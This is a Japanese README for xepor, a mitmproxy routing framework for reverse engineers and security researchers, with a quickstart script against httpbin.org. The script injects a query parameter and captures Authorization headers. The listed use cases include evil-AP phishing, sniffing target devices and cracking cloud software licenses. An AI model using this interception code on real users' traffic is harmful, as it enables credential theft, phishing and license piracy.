xepor

ゼポル

Xepor ( /ˈzɛfə/ 、ゼファーと発音) は、リバース エンジニアおよびセキュリティ研究者向けの Web ルーティング フレームワークです。これは、ハッカーが人間に優しいコーディング スタイルで HTTP リクエストや HTTP レスポンスを傍受し、変更するための Flask のような API を提供します。

このプロジェクトは mitmproxy で使用することを目的としています。ユーザーはxeporを使用してスクリプトを作成し、 mitmproxy -s your-script.pyを使用して mitmproxy内でスクリプトを実行します。

PoC から本番環境、デモ (例: http-reply-from-proxy.py、http-trailers.py、http-stream-modify.py) から WiFi Pineapple で取り出せるものまでステップを進めたい場合は、 Xeporはあなたにぴったりです!

特徴

1. Flask と同じように、 @api.route()を使用してすべてをコーディングします。すべてを1 つのスクリプトで記述し、 if..elseもう必要ありません。
2. 複数の URL ルート (1 つのInterceptedAPIインスタンス内の複数のホストも含む) を処理します。
3. ルートごとに、サーバーに接続する前にリクエストを変更する (またはアップストリームに接続せずに偽の応答を返す) か、ユーザーに転送する前に応答を変更するかを選択できます。
4. ブラックリスト モードまたはホワイトリスト モード。スクリプトで定義された URL エンドポイントのみがアップストリームへの接続を許可し、HTTP 404 を使用してその他すべて (特定のドメイン内) をブロックします。透過的プロキシに適しています。
5. 人間が判読できる URL パス定義と解析によるマッチング
6. ホストの再マッピング。偽のホストから本物のアップストリームにリダイレクトするルールを定義します。正規表現一致がサポートされています。 SSLストリッピングとサーバー側のライセンスクラッキングに最適です。
7. さらに、mitmproxy のすべての利点も提供します。すべての操作モード ( mitmproxy / mitmweb + regular / transparent / socks5 / reverse:SPEC / upstream:SPEC ) が完全にサポートされています。

使用事例

1. 邪悪な AP と MITM を介したフィッシング。
2. iptables + 透過プロキシによってターゲット デバイスからのトラフィックをスニッフィングし、オンザフライで xepor を使用してペイロードを変更します。
3. クラウドベースのソフトウェアライセンスのクラッキング。例として、examples/krisp/ を参照してください。
4. 複雑な Web クローラーを約 100 行のコードで記述します。例として、examples/polyv_scrapper/ を参照してください。
5. ...その他にもたくさんあります。

このプロジェクトでは SSL ストリッピングは提供されていません。

インストール

pip install xepor

クイックスタート

例として、examples/httpbin のスクリプトを取り上げます。

mitmweb -s example/httpbin/httpbin.py

ブラウザの HTTP プロキシをhttp://127.0.0.1:8080に設定し、http://127.0.0.1:8081/ で Web インターフェイスにアクセスします。

http://httpbin.org/#/HTTP_Methods/get_get から GET リクエストを送信すると、mitmweb インターフェイス、ブラウザ開発ツール、または Wireshark で Xepor によって行われた変更を確認できます。

httpbin.py 2 つのことを行います。

1. ユーザーが http://httpbin.org/get にアクセスすると、HTTP リクエスト内にクエリ文字列パラメータpayload=evil_paramが挿入されます。
2. ユーザーが http://httpbin.org/basic-auth/xx/xx/ にアクセスすると (パスワードがわからないふりをしているだけです)、HTTP リクエストからAuthorizationヘッダーを盗聴し、攻撃者にパスワードを出力します。

mitmproxy が常に行うこととまったく同じですが、コードはxeporで記述されています。

 # https://github.com/xepor/xepor-examples/tree/main/httpbin/httpbin.py
from mitmproxy . http import HTTPFlow
from xepor import InterceptedAPI , RouteType


HOST_HTTPBIN = "httpbin.org"

api = InterceptedAPI ( HOST_HTTPBIN )


@ api . route ( "/get" )
def change_your_request ( flow : HTTPFlow ):
    """
    Modify URL query param.
    Test at:
    http://httpbin.org/#/HTTP_Methods/get_get
    """
    flow . request . query [ "payload" ] = "evil_param"


@ api . route ( "/basic-auth/{usr}/{pwd}" , rtype = RouteType . RESPONSE )
def capture_auth ( flow : HTTPFlow , usr = None , pwd = None ):
    """
    Sniffing password.
    Test at:
    http://httpbin.org/#/Auth/get_basic_auth__user___passwd_
    """
    print (
        f"auth @ { usr } + { pwd } :" ,
        f"Captured { 'successful' if flow . response . status_code < 300 else 'unsuccessful' } login:" ,
        flow . request . headers . get ( "Authorization" , "" ),
    )


addons = [ api ]